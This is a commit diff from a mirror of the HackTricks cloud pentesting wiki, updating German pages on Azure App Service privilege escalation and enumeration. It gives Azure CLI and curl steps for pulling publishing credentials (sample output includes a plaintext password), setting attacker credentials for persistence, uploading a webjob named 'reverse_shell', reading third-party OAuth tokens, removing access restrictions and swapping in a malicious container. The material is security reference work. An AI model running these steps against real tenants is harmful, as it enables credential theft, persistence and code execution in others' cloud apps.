mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-29 06:03:26 -08:00
Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md
This commit is contained in:
@@ -2,35 +2,33 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## PowerShell in Linux installieren
|
||||
## PowerShell unter Linux installieren
|
||||
|
||||
> [!TIP]
|
||||
> In Linux müssen Sie PowerShell Core installieren:
|
||||
>
|
||||
> ```bash
|
||||
> sudo apt-get update
|
||||
> sudo apt-get install -y wget apt-transport-https software-properties-common
|
||||
>
|
||||
> # Ubuntu 20.04
|
||||
> wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
|
||||
>
|
||||
> # Repos aktualisieren
|
||||
> sudo apt-get update
|
||||
> sudo add-apt-repository universe
|
||||
>
|
||||
> # PowerShell installieren & starten
|
||||
> sudo apt-get install -y powershell
|
||||
> pwsh
|
||||
>
|
||||
> # Az cli
|
||||
> curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
|
||||
> ```
|
||||
> Unter Linux müssen Sie PowerShell Core installieren:
|
||||
```bash
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y wget apt-transport-https software-properties-common
|
||||
|
||||
## PowerShell in MacOS installieren
|
||||
# Ubuntu 20.04
|
||||
wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
|
||||
|
||||
# Update repos
|
||||
sudo apt-get update
|
||||
sudo add-apt-repository universe
|
||||
|
||||
# Install & start powershell
|
||||
sudo apt-get install -y powershell
|
||||
pwsh
|
||||
|
||||
# Az cli
|
||||
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
|
||||
```
|
||||
## PowerShell auf MacOS installieren
|
||||
|
||||
Anweisungen aus der [**Dokumentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4):
|
||||
|
||||
1. Installieren Sie `brew`, falls noch nicht installiert:
|
||||
1. Installiere `brew`, falls noch nicht installiert:
|
||||
```bash
|
||||
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
|
||||
```
|
||||
@@ -63,7 +61,7 @@ Mit dem Parameter **`--debug`** ist es möglich, alle Anfragen zu sehen, die das
|
||||
```bash
|
||||
az account management-group list --output table --debug
|
||||
```
|
||||
Um einen **MitM** auf das Tool durchzuführen und **alle Anfragen**, die es manuell sendet, zu überprüfen, kannst du Folgendes tun:
|
||||
Um ein **MitM** auf das Tool durchzuführen und **alle Anfragen**, die es manuell sendet, zu überprüfen, kannst du Folgendes tun:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Bash" }}
|
||||
|
||||
@@ -10,16 +10,16 @@ Für weitere Informationen zu Azure App-Diensten siehe:
|
||||
../az-services/az-app-service.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, 
|
||||
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
|
||||
|
||||
Diese Berechtigungen ermöglichen das Ausführen der folgenden Befehle, um eine **SSH-Shell** innerhalb einer Webanwendung zu erhalten
|
||||
Diese Berechtigungen ermöglichen den Zugriff auf eine **SSH-Shell** innerhalb einer Webanwendung. Sie erlauben auch das **Debuggen** der Anwendung.
|
||||
|
||||
- Direkte Option:
|
||||
- **SSH in einem einzelnen Befehl**:
|
||||
```bash
|
||||
# Direct option
|
||||
az webapp ssh --name <name> --resource-group <res-group>
|
||||
```
|
||||
- Erstellen Sie einen Tunnel und verbinden Sie sich dann mit SSH:
|
||||
- **Tunnel erstellen und dann mit SSH verbinden**:
|
||||
```bash
|
||||
az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
|
||||
@@ -32,4 +32,249 @@ az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
|
||||
ssh root@127.0.0.1 -p 39895
|
||||
```
|
||||
- **Debuggen Sie die Anwendung**:
|
||||
1. Installieren Sie die Azure-Erweiterung in VScode.
|
||||
2. Melden Sie sich mit dem Azure-Konto in der Erweiterung an.
|
||||
3. Listen Sie alle App-Dienste innerhalb des Abonnements auf.
|
||||
4. Wählen Sie den App-Dienst aus, den Sie debuggen möchten, klicken Sie mit der rechten Maustaste und wählen Sie "Debugging starten".
|
||||
5. Wenn die App das Debugging nicht aktiviert hat, versucht die Erweiterung, es zu aktivieren, aber Ihr Konto benötigt die Berechtigung `Microsoft.Web/sites/config/write`, um dies zu tun.
|
||||
|
||||
### SCM-Anmeldeinformationen abrufen & Basisauthentifizierung aktivieren
|
||||
|
||||
Um die SCM-Anmeldeinformationen zu erhalten, können Sie die folgenden **Befehle und Berechtigungen** verwenden:
|
||||
|
||||
- Die Berechtigung **`Microsoft.Web/sites/publishxml/action`** erlaubt das Aufrufen:
|
||||
```bash
|
||||
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
|
||||
# Example output
|
||||
[
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"hostingProviderForumLink": "",
|
||||
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
|
||||
"publishMethod": "MSDeploy",
|
||||
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
|
||||
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
},
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"ftpPassiveMode": "True",
|
||||
"hostingProviderForumLink": "",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
|
||||
"publishMethod": "FTP",
|
||||
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
|
||||
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
},
|
||||
{
|
||||
"SQLServerDBConnectionString": "",
|
||||
"controlPanelLink": "https://portal.azure.com",
|
||||
"databases": null,
|
||||
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
|
||||
"hostingProviderForumLink": "",
|
||||
"mySQLDBConnectionString": "",
|
||||
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
|
||||
"publishMethod": "ZipDeploy",
|
||||
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
|
||||
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"webSystem": "WebSites"
|
||||
}
|
||||
]
|
||||
```
|
||||
Beachten Sie, dass der **Benutzername immer gleich ist** (außer bei FTP, wo der Name der App am Anfang hinzugefügt wird), aber das **Passwort für alle gleich ist**.
|
||||
|
||||
Darüber hinaus ist die **SCM-URL `<app-name>.scm.azurewebsites.net`**.
|
||||
|
||||
- Die Berechtigung **`Microsoft.Web/sites/config/list/action`** erlaubt den Aufruf:
|
||||
```bash
|
||||
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
|
||||
# Example output
|
||||
{
|
||||
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"kind": null,
|
||||
"location": "Canada Central",
|
||||
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
|
||||
"publishingPasswordHash": null,
|
||||
"publishingPasswordHashSalt": null,
|
||||
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
|
||||
"resourceGroup": "carlos_rg_3170",
|
||||
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
|
||||
"type": "Microsoft.Web/sites/publishingcredentials"
|
||||
}
|
||||
```
|
||||
Beachten Sie, dass die **Anmeldeinformationen die gleichen sind** wie im vorherigen Befehl.
|
||||
|
||||
- Eine weitere Option wäre, **Ihre eigenen Anmeldeinformationen festzulegen** und diese zu verwenden:
|
||||
```bash
|
||||
az webapp deployment user set \
|
||||
--user-name hacktricks \
|
||||
--password 'W34kP@ssw0rd123!'
|
||||
```
|
||||
Dann können Sie diese Anmeldeinformationen verwenden, um **auf die SCM- und FTP-Plattformen** zuzugreifen. Dies ist auch eine großartige Möglichkeit, um Persistenz aufrechtzuerhalten.
|
||||
|
||||
Denken Sie daran, dass Sie, um auf die SCM-Plattform über das **Web zuzugreifen, zu `<SCM-URL>/BasicAuth`** zugreifen müssen.
|
||||
|
||||
> [!WARNING]
|
||||
> Beachten Sie, dass jeder Benutzer seine eigenen Anmeldeinformationen konfigurieren kann, indem er den vorherigen Befehl aufruft, aber wenn der Benutzer nicht über ausreichende Berechtigungen verfügt, um auf das SCM oder FTP zuzugreifen, funktionieren die Anmeldeinformationen nicht.
|
||||
|
||||
- Wenn Sie sehen, dass diese Anmeldeinformationen **REDACTED** sind, liegt das daran, dass Sie **die Option für die grundlegende Authentifizierung des SCM aktivieren müssen**, und dafür benötigen Sie die zweite Berechtigung (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
|
||||
# Enable basic authentication for FTP
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}
|
||||
```
|
||||
### Code mit SCM-Anmeldeinformationen veröffentlichen
|
||||
|
||||
Mit gültigen SCM-Anmeldeinformationen ist es möglich, **Code** in den App-Dienst zu **veröffentlichen**. Dies kann mit dem folgenden Befehl erfolgen.
|
||||
|
||||
Für dieses Python-Beispiel können Sie das Repository von https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart herunterladen, beliebige **Änderungen** vornehmen und dann **zippen, indem Sie ausführen: `zip -r app.zip .`**.
|
||||
|
||||
Dann können Sie den **Code** mit dem folgenden Befehl **veröffentlichen**:
|
||||
```bash
|
||||
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
|
||||
```
|
||||
### Microsoft.Web/sites/publish/Action | SCM-Anmeldeinformationen
|
||||
|
||||
Die erwähnte Azure-Berechtigung ermöglicht es, mehrere interessante Aktionen durchzuführen, die auch mit den SCM-Anmeldeinformationen durchgeführt werden können:
|
||||
|
||||
- **Webjobs**-Protokolle lesen:
|
||||
```bash
|
||||
# Using Azure credentials
|
||||
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
|
||||
# Using SCM username and password:
|
||||
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
|
||||
--user '<username>:<password>>' -v
|
||||
```
|
||||
- Lesen Sie den Quellcode von **Webjobs**:
|
||||
```bash
|
||||
# Using SCM username and password:
|
||||
# Find all the webjobs inside:
|
||||
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
|
||||
--user '<username>:<password>'
|
||||
|
||||
# e.g.
|
||||
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
|
||||
--user '<username>:<password>'
|
||||
```
|
||||
- Erstellen Sie **kontinuierlichen Webjob**:
|
||||
```bash
|
||||
# Using Azure permissions
|
||||
az rest \
|
||||
--method put \
|
||||
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
|
||||
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
|
||||
--body "@/Users/username/Downloads/rev.js" \
|
||||
--resource "https://management.azure.com/"
|
||||
|
||||
# Using SCM credentials
|
||||
curl -X PUT \
|
||||
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
|
||||
-H 'Content-Disposition: attachment; filename=rev.js' \
|
||||
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
|
||||
--user '<username>:<password>'
|
||||
```
|
||||
### Microsoft.Web/sites/config/list/action
|
||||
|
||||
Diese Berechtigung ermöglicht das Auflisten der **Verbindungszeichenfolgen** und der **App-Einstellungen** des App-Dienstes, die möglicherweise sensible Informationen wie Datenbankanmeldeinformationen enthalten.
|
||||
```bash
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
az webapp config appsettings list --name <name> --resource-group <res-group>
|
||||
```
|
||||
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
|
||||
|
||||
Diese Berechtigungen ermöglichen es, **eine verwaltete Identität** dem App-Dienst zuzuweisen. Wenn ein App-Dienst zuvor kompromittiert wurde, kann der Angreifer neue verwaltete Identitäten dem App-Dienst zuweisen und **Berechtigungen** auf diese erhöhen.
|
||||
```bash
|
||||
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
|
||||
```
|
||||
### Konfigurierte Drittanbieter-Anmeldeinformationen lesen
|
||||
|
||||
Durch Ausführen des folgenden Befehls ist es möglich, die **Drittanbieter-Anmeldeinformationen** zu lesen, die im aktuellen Konto konfiguriert sind. Beachten Sie, dass Sie beispielsweise, wenn einige Github-Anmeldeinformationen in einem anderen Benutzer konfiguriert sind, nicht auf das Token eines anderen Benutzers zugreifen können.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
Dieser Befehl gibt Tokens für Github, Bitbucket, Dropbox und OneDrive zurück.
|
||||
|
||||
Hier sind einige Beispielbefehle, um die Tokens zu überprüfen:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Update App Code from the source
|
||||
|
||||
- Wenn die konfigurierte Quelle ein Drittanbieter wie Github, BitBucket oder ein Azure Repository ist, können Sie den **Code** des App-Dienstes aktualisieren, indem Sie den Quellcode im Repository kompromittieren.
|
||||
- Wenn die App mit einem **remote git repository** (mit Benutzername und Passwort) konfiguriert ist, ist es möglich, die **URL und die grundlegenden Authentifizierungsdaten** zu erhalten, um Änderungen zu klonen und zu pushen mit:
|
||||
- Verwendung der Berechtigung **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>`
|
||||
- Verwendung der Berechtigung **`Microsoft.Web/sites/config/list/action`**:
|
||||
- `az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>`
|
||||
- `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
|
||||
- Wenn die App so konfiguriert ist, dass sie ein **local git repository** verwendet, ist es möglich, das **Repository zu klonen** und **Änderungen** daran zu pushen:
|
||||
- Verwendung der Berechtigung **`Microsoft.Web/sites/sourcecontrols/read`**: Sie können die URL des git-Repos mit `az webapp deployment source show --name <app-name> --resource-group <res-group>` erhalten, aber es wird die gleiche sein wie die SCM-URL der App mit dem Pfad `/<app-name>.git` (z. B. `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`).
|
||||
- Um die SCM-Anmeldeinformationen zu erhalten, benötigen Sie die Berechtigung:
|
||||
- **`Microsoft.Web/sites/publishxml/action`**: Führen Sie dann `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>` aus.
|
||||
- **`Microsoft.Web/sites/config/list/action`**: Führen Sie dann `az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>` aus.
|
||||
|
||||
> [!WARNING]
|
||||
> Beachten Sie, dass es mit der Berechtigung `Microsoft.Web/sites/config/list/action` und den SCM-Anmeldeinformationen immer möglich ist, in eine Webanwendung zu deployen (auch wenn sie so konfiguriert war, dass sie einen Drittanbieter verwendet), wie in einem vorherigen Abschnitt erwähnt.
|
||||
|
||||
> [!WARNING]
|
||||
> Beachten Sie, dass es mit den untenstehenden Berechtigungen auch **möglich ist, einen beliebigen Container auszuführen**, selbst wenn die Webanwendung anders konfiguriert wurde.
|
||||
|
||||
### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read`
|
||||
|
||||
Dies ist der Satz von Berechtigungen, der es ermöglicht, den **Container zu ändern**, der von einer Webanwendung verwendet wird. Ein Angreifer könnte dies ausnutzen, um eine Webanwendung einen bösartigen Container ausführen zu lassen.
|
||||
```bash
|
||||
az webapp config container set \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -14,35 +14,84 @@ Jede App läuft in einer Sandbox, aber die Isolation hängt von den App Service-
|
||||
> [!WARNING]
|
||||
> Beachten Sie, dass **keine** dieser Isolierungen **andere gängige** **Webanfälligkeiten** (wie Datei-Uploads oder Injektionen) **verhindert**. Und wenn eine **Verwaltungsidentität** verwendet wird, könnte sie in der Lage sein, **Berechtigungen zu ihnen zu eskalieren**.
|
||||
|
||||
### Azure Function Apps
|
||||
Apps haben einige interessante Konfigurationen:
|
||||
|
||||
Im Grunde sind **Azure Function Apps eine Untergruppe von Azure App Service** im Web, und wenn Sie zur Webkonsole gehen und alle App-Dienste auflisten oder `az webapp list` im az cli ausführen, werden Sie **auch die Function Apps hier aufgelistet sehen**.
|
||||
|
||||
Tatsächlich werden einige der **sicherheitsbezogenen Funktionen**, die App Services verwenden (`webapp` im az cli), **auch von Function Apps verwendet**.
|
||||
- **Always On**: Stellt sicher, dass die App immer läuft. Wenn nicht aktiviert, wird die App nach 20 Minuten Inaktivität gestoppt und startet wieder, wenn eine Anfrage eingeht.
|
||||
- Dies ist entscheidend, wenn Sie einen Webjob haben, der kontinuierlich laufen muss, da der Webjob stoppt, wenn die App stoppt.
|
||||
- **SSH**: Wenn aktiviert, kann ein Benutzer mit ausreichenden Berechtigungen über SSH eine Verbindung zur App herstellen.
|
||||
- **Debugging**: Wenn aktiviert, kann ein Benutzer mit ausreichenden Berechtigungen die App debuggen. Dies wird jedoch automatisch alle 48 Stunden deaktiviert.
|
||||
- **Web App + Datenbank**: Die Webkonsole ermöglicht es, eine App mit einer Datenbank zu erstellen. In diesem Fall ist es möglich, die zu verwendende Datenbank auszuwählen (SQLAzure, PostgreSQL, MySQL, MongoDB), und es ermöglicht auch die Erstellung eines Azure Cache für Redis.
|
||||
- Die URL, die die Anmeldeinformationen für die Datenbank und Redis enthält, wird in den **appsettings** gespeichert.
|
||||
- **Container**: Es ist möglich, einen Container im App Service bereitzustellen, indem die URL des Containers und die Anmeldeinformationen zugegriffen werden.
|
||||
|
||||
## Basisauthentifizierung
|
||||
|
||||
Beim Erstellen einer Webanwendung (und einer Azure-Funktion normalerweise) ist es möglich anzugeben, ob die Basisauthentifizierung aktiviert werden soll. Dies aktiviert im Grunde **SCM und FTP** für die Anwendung, sodass es möglich ist, die Anwendung mit diesen Technologien bereitzustellen.\
|
||||
Beim Erstellen einer Webanwendung (und normalerweise einer Azure-Funktion) ist es möglich anzugeben, ob die Basisauthentifizierung aktiviert werden soll. Dies aktiviert im Wesentlichen **SCM und FTP** für die Anwendung, sodass die Anwendung mit diesen Technologien bereitgestellt werden kann.\
|
||||
Darüber hinaus stellt Azure eine **API zur Verfügung, die es ermöglicht, den Benutzernamen, das Passwort und die URL** zum Verbinden mit den SCM- und FTP-Servern abzurufen.
|
||||
|
||||
- Authentifizierung: az webapp auth show --name lol --resource-group lol_group
|
||||
Es ist möglich, sich über einen Webbrowser mit dem SCM unter `https://<SMC-URL>/BasicAuth` zu verbinden und alle Dateien und Bereitstellungen dort zu überprüfen.
|
||||
|
||||
SSH
|
||||
### Kudu
|
||||
|
||||
Immer aktiv
|
||||
Kudu ist eine **Bereitstellungs-Engine und Management-Plattform für Azure App Service und Function Apps**, die Git-basierte Bereitstellungen, Remote-Debugging und Dateiverwaltungsfunktionen für Webanwendungen bietet. Es ist über die SCM-URL der Webanwendung zugänglich.
|
||||
|
||||
Debugging
|
||||
Beachten Sie, dass die von App Services und Function Apps verwendeten Kudu-Versionen unterschiedlich sind, wobei die Version der Function Apps viel eingeschränkter ist.
|
||||
|
||||
### Aufzählung
|
||||
Einige interessante Endpunkte, die Sie in Kudu finden können, sind:
|
||||
- `/DebugConsole`: Eine Konsole, die es Ihnen ermöglicht, Befehle in der Umgebung auszuführen, in der Kudu läuft.
|
||||
- Beachten Sie, dass diese Umgebung **keinen Zugriff** auf den Metadatenservice hat, um Tokens abzurufen.
|
||||
- `/webssh/host`: Ein webbasierter SSH-Client, der es Ihnen ermöglicht, sich innerhalb des Containers zu verbinden, in dem die App läuft.
|
||||
- Diese Umgebung **hat Zugriff auf den Metadatenservice**, um Tokens von den zugewiesenen verwalteten Identitäten zu erhalten.
|
||||
- `/Env`: Informationen über das System, App-Einstellungen, Umgebungsvariablen, Verbindungszeichenfolgen und HTTP-Header abrufen.
|
||||
- `/wwwroot/`: Das Stammverzeichnis der Webanwendung. Sie können alle Dateien von hier herunterladen.
|
||||
|
||||
## Quellen
|
||||
|
||||
App Services erlauben standardmäßig das Hochladen des Codes als Zip-Datei, ermöglichen jedoch auch die Verbindung zu einem Drittanbieterdienst und das Abrufen des Codes von dort.
|
||||
|
||||
- Die derzeit unterstützten Drittanbieterquellen sind **Github** und **Bitbucket**.
|
||||
- Sie können die Authentifizierungstokens abrufen, indem Sie `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` ausführen.
|
||||
- Azure wird standardmäßig eine **Github Action** einrichten, um den Code jedes Mal in den App Service bereitzustellen, wenn der Code aktualisiert wird.
|
||||
- Es ist auch möglich, ein **remote git repository** (mit Benutzername und Passwort) anzugeben, um den Code von dort abzurufen.
|
||||
- Sie können die Anmeldeinformationen für das Remote-Repo abrufen, indem Sie `az webapp deployment source show --name <app-name> --resource-group <res-group>` oder `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` ausführen.
|
||||
- Es ist auch möglich, ein **Azure Repository** zu verwenden.
|
||||
- Es ist auch möglich, ein **lokales git repository** zu konfigurieren.
|
||||
- Sie können die URL des git-Repos mit `az webapp deployment source show --name <app-name> --resource-group <res-group>` abrufen, und es wird die SCM-URL der App sein.
|
||||
- Um es zu klonen, benötigen Sie die SCM-Anmeldeinformationen, die Sie mit `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>` abrufen können.
|
||||
|
||||
## Webjobs
|
||||
|
||||
Azure WebJobs sind **Hintergrundaufgaben, die in der Azure App Service-Umgebung ausgeführt werden**. Sie ermöglichen Entwicklern, Skripte oder Programme neben ihren Webanwendungen auszuführen, was es einfacher macht, asynchrone oder zeitintensive Operationen wie Datei-Processing, Datenverarbeitung oder geplante Aufgaben zu handhaben. Es gibt 2 Arten von Webjobs:
|
||||
- **Continuous**: Läuft unendlich in einer Schleife und wird sofort nach der Erstellung ausgelöst. Es ist ideal für Aufgaben, die eine ständige Verarbeitung erfordern. Wenn die App jedoch stoppt, weil Always On deaktiviert ist und sie in den letzten 20 Minuten keine Anfrage erhalten hat, stoppt auch der Webjob.
|
||||
- **Triggered**: Läuft auf Abruf oder basierend auf einem Zeitplan. Es eignet sich am besten für periodische Aufgaben, wie Batch-Datenaktualisierungen oder Wartungsroutinen.
|
||||
|
||||
Webjobs sind aus der Perspektive eines Angreifers sehr interessant, da sie verwendet werden könnten, um **Code** in der Umgebung auszuführen und **Berechtigungen** zu den angehängten verwalteten Identitäten zu eskalieren.
|
||||
|
||||
Darüber hinaus ist es immer interessant, die von den Webjobs generierten **Protokolle** zu überprüfen, da sie **sensible Informationen** enthalten könnten.
|
||||
|
||||
### Slots
|
||||
|
||||
Azure App Service Slots werden verwendet, um **verschiedene Versionen der Anwendung** im selben App Service bereitzustellen. Dies ermöglicht es Entwicklern, neue Funktionen oder Änderungen in einer separaten Umgebung zu testen, bevor sie in die Produktionsumgebung bereitgestellt werden.
|
||||
|
||||
Darüber hinaus ist es möglich, einen **Prozentsatz des Traffics** an einen bestimmten Slot weiterzuleiten, was nützlich für **A/B-Tests** und für Hintertürzwecke ist.
|
||||
|
||||
### Azure Function Apps
|
||||
|
||||
Im Grunde sind **Azure Function Apps ein Teil von Azure App Service** im Web, und wenn Sie zur Webkonsole gehen und alle App-Dienste auflisten oder `az webapp list` im az cli ausführen, werden Sie auch **die Function Apps hier aufgelistet sehen**.
|
||||
|
||||
Tatsächlich werden einige der **sicherheitsbezogenen Funktionen**, die App Services verwenden (`webapp` im az cli), **auch von Function Apps verwendet**.
|
||||
|
||||
### Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az" }}
|
||||
```bash
|
||||
# List webapps
|
||||
az webapp list
|
||||
|
||||
## Less information
|
||||
az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}"
|
||||
az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table
|
||||
## Get SCM URL of each webapp
|
||||
az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g'
|
||||
|
||||
# Get info about 1 app
|
||||
az webapp show --name <name> --resource-group <res-group>
|
||||
@@ -51,18 +100,24 @@ az webapp show --name <name> --resource-group <res-group>
|
||||
az webapp list-instances --name <name> --resource-group <res-group>
|
||||
## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web
|
||||
|
||||
# Get configured Auth information
|
||||
az webapp auth show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get access restrictions of an app
|
||||
az webapp config access-restriction show --name <name> --resource-group <res-group>
|
||||
|
||||
# Remove access restrictions
|
||||
az webapp config access-restriction remove --resource-group <res-group> -n <name> --rule-name <rule-name>
|
||||
|
||||
# Get connection strings of a webapp
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get appsettings of an app
|
||||
az webapp config appsettings list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get SCM and FTP credentials
|
||||
